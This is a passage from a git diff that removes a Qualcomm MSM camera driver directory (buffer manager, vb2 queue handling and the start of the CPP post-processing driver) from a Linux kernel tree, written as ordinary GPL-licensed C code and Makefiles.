ARRAY_SIZE(msm_buf_mngr_dev->subdev.sd.name), "msm_buf_mngr"); - msm_buf_mngr_dev->subdev.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - v4l2_set_subdevdata(&msm_buf_mngr_dev->subdev.sd, msm_buf_mngr_dev); - - media_entity_init(&msm_buf_mngr_dev->subdev.sd.entity, 0, NULL, 0); - msm_buf_mngr_dev->subdev.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - msm_buf_mngr_dev->subdev.sd.entity.group_id = - MSM_CAMERA_SUBDEV_BUF_MNGR; - msm_buf_mngr_dev->subdev.sd.internal_ops = - &msm_generic_buf_mngr_subdev_internal_ops; - msm_buf_mngr_dev->subdev.close_seq = MSM_SD_CLOSE_4TH_CATEGORY; - rc = msm_sd_register(&msm_buf_mngr_dev->subdev); - if (rc != 0) { - pr_err("%s: msm_sd_register error = %d\n", __func__, rc); - goto end; - } - - msm_buf_mngr_dev->subdev.sd.devnode->fops = &msm_buf_v4l2_subdev_fops; - - v4l2_subdev_notify(&msm_buf_mngr_dev->subdev.sd, MSM_SD_NOTIFY_REQ_CB, - &msm_buf_mngr_dev->vb2_ops); - - INIT_LIST_HEAD(&msm_buf_mngr_dev->buf_qhead); - spin_lock_init(&msm_buf_mngr_dev->buf_q_spinlock); -end: - return rc; -} - -static void __exit msm_buf_mngr_exit(void) -{ - kfree(msm_buf_mngr_dev); -} - -module_init(msm_buf_mngr_init); -module_exit(msm_buf_mngr_exit); -MODULE_DESCRIPTION("MSM Buffer Manager"); -MODULE_LICENSE("GPL v2"); - diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/msm_generic_buf_mgr.h b/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/msm_generic_buf_mgr.h deleted file mode 100644 index 82ea21fcf208b..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/msm_generic_buf_mgr.h +++ /dev/null @@ -1,40 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef __MSM_BUF_GENERIC_MNGR_H__ -#define __MSM_BUF_GENERIC_MNGR_H__ - -#include -#include -#include -#include -#include -#include -#include - -#include "msm.h" -#include "msm_sd.h" - -struct msm_get_bufs { - struct list_head entry; - struct vb2_buffer *vb2_buf; - uint32_t session_id; - uint32_t stream_id; -}; - -struct msm_buf_mngr_device { - struct list_head buf_qhead; - spinlock_t buf_q_spinlock; - struct msm_sd_subdev subdev; - struct msm_sd_req_vb2_q vb2_ops; -}; -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm_sd.h b/drivers/media/platform/msm/camera_wt88047_v2/msm_sd.h deleted file mode 100644 index 7c1519dd66eb5..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/msm_sd.h +++ /dev/null @@ -1,86 +0,0 @@ -/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef _MSM_SD_H -#define _MSM_SD_H - -#include -#include - -/* NOTE: this header file should ONLY be included by subdev drivers */ - -struct msm_sd_close_ioctl { - unsigned int session; - unsigned int stream; -}; - -#define MSM_SD_CLOSE_STREAM \ - _IOWR('V', BASE_VIDIOC_PRIVATE + 26, struct msm_sd_close_ioctl) - -#define MSM_SD_CLOSE_SESSION \ - _IOWR('V', BASE_VIDIOC_PRIVATE + 27, struct msm_sd_close_ioctl) - -#define MSM_SD_CLOSE_SESSION_AND_STREAM \ - _IOWR('V', BASE_VIDIOC_PRIVATE + 28, struct msm_sd_close_ioctl) - -#define MSM_SD_SHUTDOWN \ - _IOWR('V', BASE_VIDIOC_PRIVATE + 29, struct msm_sd_close_ioctl) - -/* - * This is used to install Sequence in msm_sd_register. - * During msm_close, proper close sequence will be triggered. - * For example: - * - * close_sequence = 0x00100001 (ISP) - * close_sequence = 0x00100002 (ISP) - * close_sequence = 0x00100003 (ISP) - * close_sequence = 0x00200001 (sensor) - * close_sequence = 0x00200002 (sensor) - * close_sequence = 0x00200003 (sensor) - */ -#define MSM_SD_CLOSE_1ST_CATEGORY 0x00010000 -#define MSM_SD_CLOSE_2ND_CATEGORY 0x00020000 -#define MSM_SD_CLOSE_3RD_CATEGORY 0x00030000 -#define MSM_SD_CLOSE_4TH_CATEGORY 0x00040000 - -struct msm_sd_subdev { - struct v4l2_subdev sd; - int close_seq; - struct list_head list; -}; - -struct msm_sd_req_sd { - char *name; - struct v4l2_subdev *subdev; -}; - -struct msm_sd_req_vb2_q { - struct vb2_buffer *(*get_buf)(int session_id, unsigned int stream_id); - struct vb2_queue *(*get_vb2_queue)(int session_id, - unsigned int stream_id); - int (*put_buf)(struct vb2_buffer *vb2_buf, int session_id, - unsigned int stream_id); - int (*buf_done)(struct vb2_buffer *vb2_buf, int session_id, - unsigned int stream_id); -}; - -#define MSM_SD_NOTIFY_GET_SD 0x00000001 -#define MSM_SD_NOTIFY_PUT_SD 0x00000002 -#define MSM_SD_NOTIFY_REQ_CB 0x00000003 - -int msm_sd_register(struct msm_sd_subdev *msm_subdev); -int msm_sd_unregister(struct msm_sd_subdev *sd); -struct v4l2_subdev *msm_sd_get_subdev(struct v4l2_subdev *sd, - const char *get_name); -void msm_sd_put_subdev(struct v4l2_subdev *sd, struct v4l2_subdev *put); - -#endif /*_MSM_SD_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/Makefile deleted file mode 100644 index fa6342975a46d..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/Makefile +++ /dev/null @@ -1,3 +0,0 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/msm_vb2 -obj-$(CONFIG_MSMB_CAMERA) += msm_vb2.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/msm_vb2.c b/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/msm_vb2.c deleted file mode 100644 index 6e9336a20d293..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/msm_vb2.c +++ /dev/null @@ -1,311 +0,0 @@ -/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include "msm_vb2.h" - -static int msm_vb2_queue_setup(struct vb2_queue *q, - const struct v4l2_format *fmt, - unsigned int *num_buffers, unsigned int *num_planes, - unsigned int sizes[], void *alloc_ctxs[]) -{ - int i; - struct msm_v4l2_format_data *data = q->drv_priv; - - if (!data) { - pr_err("%s: drv_priv NULL\n", __func__); - return -EINVAL; - } - if (data->type == V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE) { - if (WARN_ON(data->num_planes > VIDEO_MAX_PLANES)) - return -EINVAL; - - *num_planes = data->num_planes; - - for (i = 0; i < data->num_planes; i++) - sizes[i] = data->plane_sizes[i]; - } else { - pr_err("%s: Unsupported buf type :%d\n", __func__, - data->type); - return -EINVAL; - } - return 0; -} - -int msm_vb2_buf_init(struct vb2_buffer *vb) -{ - struct msm_stream *stream; - struct msm_vb2_buffer *msm_vb2_buf; - - stream = msm_get_stream_from_vb2q(vb->vb2_queue); - if (!stream) { - pr_err("%s: Couldn't find stream\n", __func__); - return -EINVAL; - } - msm_vb2_buf = container_of(vb, struct msm_vb2_buffer, vb2_buf); - msm_vb2_buf->in_freeq = 0; - - return 0; -} - -static void msm_vb2_buf_queue(struct vb2_buffer *vb) -{ - struct msm_vb2_buffer *msm_vb2; - struct msm_stream *stream; - unsigned long flags; - - msm_vb2 = container_of(vb, struct msm_vb2_buffer, vb2_buf); - - if (!msm_vb2) { - pr_err("%s:%d] vb2_buf NULL", __func__, __LINE__); - return; - } - - stream = msm_get_stream_from_vb2q(vb->vb2_queue); - if (!stream) { - pr_err("%s:%d] NULL stream", __func__, __LINE__); - return; - } - - spin_lock_irqsave(&stream->stream_lock, flags); - list_add_tail(&msm_vb2->list, &stream->queued_list); - spin_unlock_irqrestore(&stream->stream_lock, flags); -} - -static int msm_vb2_buf_finish(struct vb2_buffer *vb) -{ - struct msm_vb2_buffer *msm_vb2; - struct msm_stream *stream; - unsigned long flags; - struct msm_vb2_buffer *msm_vb2_entry, *temp; - - msm_vb2 = container_of(vb, struct msm_vb2_buffer, vb2_buf); - - if (!msm_vb2) { - pr_err("%s:%d] vb2_buf NULL", __func__, __LINE__); - return -EINVAL; - } - - stream = msm_get_stream_from_vb2q(vb->vb2_queue); - if (!stream) { - pr_err("%s:%d] NULL stream", __func__, __LINE__); - return -EINVAL; - } - - spin_lock_irqsave(&stream->stream_lock, flags); - list_for_each_entry_safe(msm_vb2_entry, temp, &(stream->queued_list), - list) { - if (msm_vb2_entry == msm_vb2) { - list_del_init(&msm_vb2_entry->list); - break; - } - } - spin_unlock_irqrestore(&stream->stream_lock, flags); - return 0; -} - -static void msm_vb2_buf_cleanup(struct vb2_buffer *vb) -{ - struct msm_vb2_buffer *msm_vb2; - struct msm_stream *stream; - unsigned long flags; - - msm_vb2 = container_of(vb, struct msm_vb2_buffer, vb2_buf); - - if (!msm_vb2) { - pr_err("%s:%d] vb2 NULL", __func__, __LINE__); - return; - } - - stream = msm_get_stream_from_vb2q(vb->vb2_queue); - if (!stream) { - pr_err("%s:%d] NULL stream", __func__, __LINE__); - return; - } - - spin_lock_irqsave(&stream->stream_lock, flags); - INIT_LIST_HEAD(&stream->queued_list); - spin_unlock_irqrestore(&stream->stream_lock, flags); -} - -static struct vb2_ops msm_vb2_get_q_op = { - .queue_setup = msm_vb2_queue_setup, - .buf_init = msm_vb2_buf_init, - .buf_queue = msm_vb2_buf_queue, - .buf_cleanup = msm_vb2_buf_cleanup, - .buf_finish = msm_vb2_buf_finish, -}; - - -struct vb2_ops *msm_vb2_get_q_ops(void) -{ - return &msm_vb2_get_q_op; -} - -static void *msm_vb2_dma_contig_get_userptr(void *alloc_ctx, - unsigned long vaddr, unsigned long size, int write) -{ - struct msm_vb2_private_data *priv; - priv = kzalloc(sizeof(*priv), GFP_KERNEL); - if (!priv) - return ERR_PTR(-ENOMEM); - priv->vaddr = (void *)vaddr; - priv->size = size; - priv->alloc_ctx = alloc_ctx; - return priv; -} - -static void msm_vb2_dma_contig_put_userptr(void *buf_priv) -{ - kzfree(buf_priv); -} - -static struct vb2_mem_ops msm_vb2_get_q_mem_op = { - .get_userptr = msm_vb2_dma_contig_get_userptr, - .put_userptr = msm_vb2_dma_contig_put_userptr, -}; - -struct vb2_mem_ops *msm_vb2_get_q_mem_ops(void) -{ - return &msm_vb2_get_q_mem_op; -} - -static struct vb2_queue *msm_vb2_get_queue(int session_id, - unsigned int stream_id) -{ - return msm_get_stream_vb2q(session_id, stream_id); -} - -static struct vb2_buffer *msm_vb2_get_buf(int session_id, - unsigned int stream_id) -{ - struct msm_stream *stream; - struct vb2_buffer *vb2_buf = NULL; - struct msm_vb2_buffer *msm_vb2 = NULL; - unsigned long flags; - - stream = msm_get_stream(session_id, stream_id); - if (IS_ERR_OR_NULL(stream)) - return NULL; - - spin_lock_irqsave(&stream->stream_lock, flags); - - if (!stream->vb2_q) { - pr_err("%s: stream q not available\n", __func__); - goto end; - } - - list_for_each_entry(msm_vb2, &(stream->queued_list), list) { - vb2_buf = &(msm_vb2->vb2_buf); - if (vb2_buf->state != VB2_BUF_STATE_ACTIVE) - continue; - - if (msm_vb2->in_freeq) - continue; - - msm_vb2->in_freeq = 1; - goto end; - } - msm_vb2 = NULL; - vb2_buf = NULL; -end: - spin_unlock_irqrestore(&stream->stream_lock, flags); - return vb2_buf; -} - -static int msm_vb2_put_buf(struct vb2_buffer *vb, int session_id, - unsigned int stream_id) -{ - struct msm_stream *stream; - struct msm_vb2_buffer *msm_vb2; - int rc = 0; - unsigned long flags; - stream = msm_get_stream(session_id, stream_id); - if (IS_ERR_OR_NULL(stream)) - return -EINVAL; - - spin_lock_irqsave(&stream->stream_lock, flags); - if (vb) { - msm_vb2 = - container_of(vb, struct msm_vb2_buffer, vb2_buf); - if (msm_vb2->in_freeq) { - msm_vb2->in_freeq = 0; - rc = 0; - } else - rc = -EINVAL; - } else { - pr_err("%s: VB buffer is null\n", __func__); - rc = -EINVAL; - } - spin_unlock_irqrestore(&stream->stream_lock, flags); - return rc; -} - -static int msm_vb2_buf_done(struct vb2_buffer *vb, int session_id, - unsigned int stream_id) -{ - unsigned long flags; - struct msm_vb2_buffer *msm_vb2; - struct msm_stream *stream; - struct vb2_buffer *vb2_buf = NULL; - int rc = 0; - - stream = msm_get_stream(session_id, stream_id); - if (IS_ERR_OR_NULL(stream)) - return 0; - spin_lock_irqsave(&stream->stream_lock, flags); - if (vb) { - list_for_each_entry(msm_vb2, &(stream->queued_list), list) { - vb2_buf = &(msm_vb2->vb2_buf); - if (vb2_buf == vb) - break; - } - if (vb2_buf != vb) { - pr_err("%s:%d VB buffer is INVALID vb=%x, ses_id=%d, str_id=%d\n", - __func__, __LINE__, (unsigned int)vb, - session_id, stream_id); - rc = -EINVAL; - goto out; - } - msm_vb2 = - container_of(vb, struct msm_vb2_buffer, vb2_buf); - /* put buf before buf done */ - if (msm_vb2->in_freeq) { - vb2_buffer_done(vb, VB2_BUF_STATE_DONE); - msm_vb2->in_freeq = 0; - rc = 0; - } else - rc = -EINVAL; - } else { - pr_err("%s:%d VB buffer is NULL for ses_id=%d, str_id=%d\n", - __func__, __LINE__, session_id, stream_id); - rc = -EINVAL; - } -out: - spin_unlock_irqrestore(&stream->stream_lock, flags); - return rc; -} - -int msm_vb2_request_cb(struct msm_sd_req_vb2_q *req) -{ - if (!req) { - pr_err("%s: suddev is null\n", __func__); - return -EINVAL; - } - - req->get_buf = msm_vb2_get_buf; - req->get_vb2_queue = msm_vb2_get_queue; - req->put_buf = msm_vb2_put_buf; - req->buf_done = msm_vb2_buf_done; - - return 0; -} - diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/msm_vb2.h b/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/msm_vb2.h deleted file mode 100644 index 7082f8583d1da..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/msm_vb2.h +++ /dev/null @@ -1,70 +0,0 @@ -/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef _MSM_VB_H -#define _MSM_VB_H - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "msm.h" -#include "msm_sd.h" - -struct msm_vb2_buffer { - /* - * vb2 buffer has to be first in the structure - * because both v4l2 frameworks and driver directly - * cast msm_vb2_buffer to a vb2_buf. - */ - struct vb2_buffer vb2_buf; - struct list_head list; - int in_freeq; -}; - -struct msm_vb2_private_data { - void *vaddr; - unsigned long size; - /* Offset of the plane inside the buffer */ - void *alloc_ctx; -}; - -struct msm_stream { - struct list_head list; - - /* stream index per session, same - * as stream_id but set through s_parm */ - unsigned int stream_id; - /* vb2 buffer handling */ - struct vb2_queue *vb2_q; - spinlock_t stream_lock; - struct list_head queued_list; -}; - -struct vb2_ops *msm_vb2_get_q_ops(void); -struct vb2_mem_ops *msm_vb2_get_q_mem_ops(void); -int msm_vb2_request_cb(struct msm_sd_req_vb2_q *req_sd); - -#endif /*_MSM_VB_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/pproc/Makefile deleted file mode 100644 index 4193adc173f73..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/pproc/Makefile +++ /dev/null @@ -1,2 +0,0 @@ -obj-$(CONFIG_MSMB_CAMERA) += cpp/ -obj-$(CONFIG_MSMB_CAMERA) += vpe/ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/Makefile deleted file mode 100644 index 5d1a9f727f1ba..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/Makefile +++ /dev/null @@ -1,4 +0,0 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/isp/ -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io -obj-$(CONFIG_MSM_CPP) += msm_cpp.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c b/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c deleted file mode 100644 index 8028410044f26..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c +++ /dev/null @@ -1,2524 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#define pr_fmt(fmt) "MSM-CPP %s:%d " fmt, __func__, __LINE__ - - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "msm_cpp.h" -#include "msm_isp_util.h" -#include "msm_camera_io_util.h" -#include - -#define MSM_CPP_DRV_NAME "msm_cpp" - -#define MSM_CPP_MAX_BUFF_QUEUE 16 - -#define CONFIG_MSM_CPP_DBG 0 - -#define ENABLE_CPP_LOW 0 - -#define CPP_CMD_TIMEOUT_MS 300 - -#define MSM_CPP_CORE_CLK_IDX 4 -#define MSM_MICRO_IFACE_CLK_IDX 7 - -#define MSM_CPP_NOMINAL_CLOCK 266670000 -#define MSM_CPP_TURBO_CLOCK 320000000 - -#define CPP_FW_VERSION_1_2_0 0x10020000 -#define CPP_FW_VERSION_1_4_0 0x10040000 -#define CPP_FW_VERSION_1_6_0 0x10060000 - -/* stripe information offsets in frame command */ -#define STRIPE_BASE_FW_1_2_0 130 -#define STRIPE_BASE_FW_1_4_0 140 -#define STRIPE_BASE_FW_1_6_0 464 - - -/* dump the frame command before writing to the hardware */ -#define MSM_CPP_DUMP_FRM_CMD 0 - -#define CPP_CLK_INFO_MAX 16 - -static int msm_cpp_buffer_ops(struct cpp_device *cpp_dev, - uint32_t buff_mgr_ops, struct msm_buf_mngr_info *buff_mgr_info); - -#if CONFIG_MSM_CPP_DBG -#define CPP_DBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CPP_DBG(fmt, args...) pr_debug(fmt, ##args) -#endif - -#define CPP_LOW(fmt, args...) do { \ - if (ENABLE_CPP_LOW) \ - pr_info(fmt, ##args); \ - } while (0) - -#define ERR_USER_COPY(to) pr_err("copy %s user\n", \ - ((to) ? "to" : "from")) -#define ERR_COPY_FROM_USER() ERR_USER_COPY(0) - -/* CPP bus bandwidth definitions */ -static struct msm_bus_vectors msm_cpp_init_vectors[] = { - { - .src = MSM_BUS_MASTER_CPP, - .dst = MSM_BUS_SLAVE_EBI_CH0, - .ab = 0, - .ib = 0, - }, -}; - -static struct msm_bus_vectors msm_cpp_ping_vectors[] = { - { - .src = MSM_BUS_MASTER_CPP, - .dst = MSM_BUS_SLAVE_EBI_CH0, - .ab = 0, - .ib = 0, - }, -}; - -static struct msm_bus_vectors msm_cpp_pong_vectors[] = { - { - .src = MSM_BUS_MASTER_CPP, - .dst = MSM_BUS_SLAVE_EBI_CH0, - .ab = 0, - .ib = 0, - }, -}; - - - -static struct msm_bus_paths msm_cpp_bus_client_config[] = { - { - ARRAY_SIZE(msm_cpp_init_vectors), - msm_cpp_init_vectors, - }, - { - ARRAY_SIZE(msm_cpp_ping_vectors), - msm_cpp_ping_vectors, - }, - { - ARRAY_SIZE(msm_cpp_pong_vectors), - msm_cpp_pong_vectors, - }, -}; - -static struct msm_bus_scale_pdata msm_cpp_bus_scale_data = { - msm_cpp_bus_client_config, - ARRAY_SIZE(msm_cpp_bus_client_config), - .name = "msm_camera_cpp", -}; - -#define msm_dequeue(queue, member) ({ \ - unsigned long flags; \ - struct msm_device_queue *__q = (queue); \ - struct msm_queue_cmd *qcmd = 0; \ - spin_lock_irqsave(&__q->lock, flags); \ - if (!list_empty(&__q->list)) { \ - __q->len--; \ - qcmd = list_first_entry(&__q->list, \ - struct msm_queue_cmd, member); \ - list_del_init(&qcmd->member); \ - } \ - spin_unlock_irqrestore(&__q->lock, flags); \ - qcmd; \ -}) - -#define MSM_CPP_MAX_TIMEOUT_TRIAL 3 - -struct msm_cpp_timer_data_t { - struct cpp_device *cpp_dev; - struct msm_cpp_frame_info_t *processed_frame; -}; - -struct msm_cpp_timer_t { - atomic_t used; - struct msm_cpp_timer_data_t data; - struct timer_list cpp_timer; -}; - -struct msm_cpp_timer_t cpp_timer; - -static int msm_cpp_init_bandwidth_mgr(struct cpp_device *cpp_dev) -{ - int rc = 0; - - cpp_dev->bus_client = - msm_bus_scale_register_client(&msm_cpp_bus_scale_data); - if (!cpp_dev->bus_client) { - pr_err("Fail to register bus client\n"); - return -ENOENT; - } - - rc = msm_bus_scale_client_update_request(cpp_dev->bus_client, 1); - if (rc < 0) { - pr_err("Fail bus scale update %d\n", rc); - return -EINVAL; - } - cpp_dev->bus_idx = 1; - - return 0; -} - -static int msm_cpp_update_bandwidth(struct cpp_device *cpp_dev, - uint64_t ab, uint64_t ib) -{ - - int rc; - struct msm_bus_paths *path; - - path = &(msm_cpp_bus_scale_data.usecase[cpp_dev->bus_idx]); - path->vectors[0].ab = ab; - path->vectors[0].ib = ib; - - rc = msm_bus_scale_client_update_request(cpp_dev->bus_client, - cpp_dev->bus_idx); - if (rc < 0) { - pr_err("Fail bus scale update %d\n", rc); - return -EINVAL; - } - cpp_dev->bus_idx = 3 - cpp_dev->bus_idx; - - return 0; -} - -void msm_cpp_deinit_bandwidth_mgr(struct cpp_device *cpp_dev) -{ - if (cpp_dev->bus_client) { - msm_bus_scale_unregister_client(cpp_dev->bus_client); - cpp_dev->bus_client = 0; - } -} - -static void msm_queue_init(struct msm_device_queue *queue, const char *name) -{ - CPP_DBG("E\n"); - spin_lock_init(&queue->lock); - queue->len = 0; - queue->max = 0; - queue->name = name; - INIT_LIST_HEAD(&queue->list); - init_waitqueue_head(&queue->wait); -} - -static void msm_enqueue(struct msm_device_queue *queue, - struct list_head *entry) -{ - unsigned long flags; - spin_lock_irqsave(&queue->lock, flags); - queue->len++; - if (queue->len > queue->max) { - queue->max = queue->len; - pr_info("queue %s new max is %d\n", queue->name, queue->max); - } - list_add_tail(entry, &queue->list); - wake_up(&queue->wait); - CPP_DBG("woke up %s\n", queue->name); - spin_unlock_irqrestore(&queue->lock, flags); -} - -#define msm_cpp_empty_list(queue, member) { \ - unsigned long flags; \ - struct msm_queue_cmd *qcmd = NULL; \ - if (queue) { \ - spin_lock_irqsave(&queue->lock, flags); \ - while (!list_empty(&queue->list)) { \ - queue->len--; \ - qcmd = list_first_entry(&queue->list, \ - struct msm_queue_cmd, member); \ - list_del_init(&qcmd->member); \ - kfree(qcmd); \ - } \ - spin_unlock_irqrestore(&queue->lock, flags); \ - } \ -} - -static struct msm_cam_clk_info cpp_clk_info[CPP_CLK_INFO_MAX]; - -static int msm_cpp_notify_frame_done(struct cpp_device *cpp_dev); -static void cpp_load_fw(struct cpp_device *cpp_dev, char *fw_name_bin); -static void cpp_timer_callback(unsigned long data); - -uint8_t induce_error; -static int msm_cpp_enable_debugfs(struct cpp_device *cpp_dev); - -static void msm_cpp_write(u32 data, void __iomem *cpp_base) -{ - writel_relaxed((data), cpp_base + MSM_CPP_MICRO_FIFO_RX_DATA); -} - -static void msm_cpp_clear_timer(struct cpp_device *cpp_dev) -{ - atomic_set(&cpp_timer.used, 0); - del_timer(&cpp_timer.cpp_timer); - cpp_timer.data.processed_frame = NULL; - cpp_dev->timeout_trial_cnt = 0; -} - -static uint32_t msm_cpp_read(void __iomem *cpp_base) -{ - uint32_t tmp, retry = 0; - do { - tmp = msm_camera_io_r(cpp_base + MSM_CPP_MICRO_FIFO_TX_STAT); - } while (((tmp & 0x2) == 0x0) && (retry++ < 10)) ; - if (retry < 10) { - tmp = msm_camera_io_r(cpp_base + MSM_CPP_MICRO_FIFO_TX_DATA); - CPP_DBG("Read data: 0%x\n", tmp); - } else { - CPP_DBG("Read failed\n"); - tmp = 0xDEADBEEF; - } - - return tmp; -} - -static struct msm_cpp_buff_queue_info_t *msm_cpp_get_buff_queue_entry( - struct cpp_device *cpp_dev, uint32_t session_id, uint32_t stream_id) -{ - uint32_t i = 0; - struct msm_cpp_buff_queue_info_t *buff_queue_info = NULL; - - for (i = 0; i < cpp_dev->num_buffq; i++) { - if ((cpp_dev->buff_queue[i].used == 1) && - (cpp_dev->buff_queue[i].session_id == session_id) && - (cpp_dev->buff_queue[i].stream_id == stream_id)) { - buff_queue_info = &cpp_dev->buff_queue[i]; - break; - } - } - - if (buff_queue_info == NULL) { - pr_err("error buffer queue entry for sess:%d strm:%d not found\n", - session_id, stream_id); - } - return buff_queue_info; -} - -static unsigned long msm_cpp_get_phy_addr(struct cpp_device *cpp_dev, - struct msm_cpp_buff_queue_info_t *buff_queue_info, uint32_t buff_index, - uint8_t native_buff, int *fd) -{ - unsigned long phy_add = 0; - struct list_head *buff_head; - struct msm_cpp_buffer_map_list_t *buff, *save; - - if (native_buff) - buff_head = &buff_queue_info->native_buff_head; - else - buff_head = &buff_queue_info->vb2_buff_head; - - list_for_each_entry_safe(buff, save, buff_head, entry) { - if (buff->map_info.buff_info.index == buff_index) { - phy_add = buff->map_info.phy_addr; - *fd = buff->map_info.buff_info.fd; - break; - } - } - - return phy_add; -} - -static unsigned long msm_cpp_queue_buffer_info(struct cpp_device *cpp_dev, - struct msm_cpp_buff_queue_info_t *buff_queue, - struct msm_cpp_buffer_info_t *buffer_info) -{ - struct list_head *buff_head; - struct msm_cpp_buffer_map_list_t *buff, *save; - int rc = 0; - - if (buffer_info->native_buff) - buff_head = &buff_queue->native_buff_head; - else - buff_head = &buff_queue->vb2_buff_head; - - list_for_each_entry_safe(buff, save, buff_head, entry) { - if (buff->map_info.buff_info.index == buffer_info->index) { - pr_err("error buffer index already queued\n"); - return -EINVAL; - } - } - - buff = kzalloc( - sizeof(struct msm_cpp_buffer_map_list_t), GFP_KERNEL); - if (!buff) { - pr_err("error allocating memory\n"); - return -EINVAL; - } - - buff->map_info.buff_info = *buffer_info; - buff->map_info.ion_handle = ion_import_dma_buf(cpp_dev->client, - buffer_info->fd); - if (IS_ERR_OR_NULL(buff->map_info.ion_handle)) { - pr_err("ION import failed\n"); - goto QUEUE_BUFF_ERROR1; - } - rc = ion_map_iommu(cpp_dev->client, buff->map_info.ion_handle, - cpp_dev->domain_num, 0, SZ_4K, 0, - &buff->map_info.phy_addr, - &buff->map_info.len, 0, 0); - if (rc < 0) { - pr_err("ION mmap failed\n"); - goto QUEUE_BUFF_ERROR2; - } - - INIT_LIST_HEAD(&buff->entry); - list_add_tail(&buff->entry, buff_head); - - return buff->map_info.phy_addr; - -QUEUE_BUFF_ERROR2: - ion_free(cpp_dev->client, buff->map_info.ion_handle); -QUEUE_BUFF_ERROR1: - buff->map_info.ion_handle = NULL; - kzfree(buff); - - return 0; -} - -static void msm_cpp_dequeue_buffer_info(struct cpp_device *cpp_dev, - struct msm_cpp_buffer_map_list_t *buff) -{ - - ion_unmap_iommu(cpp_dev->client, buff->map_info.ion_handle, - cpp_dev->domain_num, 0); - ion_free(cpp_dev->client, buff->map_info.ion_handle); - buff->map_info.ion_handle = NULL; - - list_del_init(&buff->entry); - kzfree(buff); - - return; -} - -static unsigned long msm_cpp_fetch_buffer_info(struct cpp_device *cpp_dev, - struct msm_cpp_buffer_info_t *buffer_info, uint32_t session_id, - uint32_t stream_id, int *fd) -{ - unsigned long phy_addr = 0; - struct msm_cpp_buff_queue_info_t *buff_queue_info; - uint8_t native_buff = buffer_info->native_buff; - - buff_queue_info = msm_cpp_get_buff_queue_entry(cpp_dev, session_id, - stream_id); - if (buff_queue_info == NULL) { - pr_err("error finding buffer queue entry for sessid:%d strmid:%d\n", - session_id, stream_id); - return phy_addr; - } - - phy_addr = msm_cpp_get_phy_addr(cpp_dev, buff_queue_info, - buffer_info->index, native_buff, fd); - if ((phy_addr == 0) && (native_buff)) { - 